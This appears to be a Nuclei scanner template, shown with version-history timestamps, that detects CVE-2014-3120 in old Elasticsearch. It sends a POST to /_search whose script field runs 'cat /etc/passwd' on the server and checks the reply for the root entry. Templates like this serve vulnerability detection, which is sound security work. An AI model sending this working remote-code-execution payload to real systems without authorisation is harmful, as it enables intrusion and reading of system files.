2021-02-15 13:35:15 +00:00
id : CVE-2014-3120
info :
name : ElasticSearch v1.1.1/1.2 RCE
author : pikpikcu
severity : critical
2021-04-22 09:02:19 +00:00
description : |
2022-02-25 14:32:23 +00:00
The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. Be aware this only violates the vendor's intended security policy if the user does not run Elasticsearch in its own independent virtual machine.
2021-08-18 11:37:49 +00:00
reference :
2021-04-22 09:02:19 +00:00
- https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120
- https://www.elastic.co/blog/logstash-1-4-3-released
2022-02-25 14:32:23 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2014-3120
2022-05-17 09:18:12 +00:00
- http://bouk.co/blog/elasticsearch-rce/
2022-02-25 14:32:23 +00:00
classification :
cve-id : CVE-2014-3120
2022-07-21 17:18:22 +00:00
tags : cve,cve2014,elastic,rce,elasticsearch,kev
2021-02-15 13:35:15 +00:00
requests :
- raw :
- |
POST /_search?pretty HTTP/1.1
Host : {{Hostname}}
Accept : */*
Accept-Language : en
Content-Type : application/x-www-form-urlencoded
{
"size": 1 ,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
matchers-condition : and
matchers :
- type : word
words :
- "application/json"
part : header
2021-02-15 17:08:00 +00:00
2021-02-15 13:35:15 +00:00
- type : regex
regex :
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
2021-02-15 13:35:15 +00:00
part : body
2021-02-15 17:08:00 +00:00
2021-02-15 13:35:15 +00:00
- type : status
status :
- 200
2022-02-25 14:32:23 +00:00
# Enhanced by mp on 2022/02/24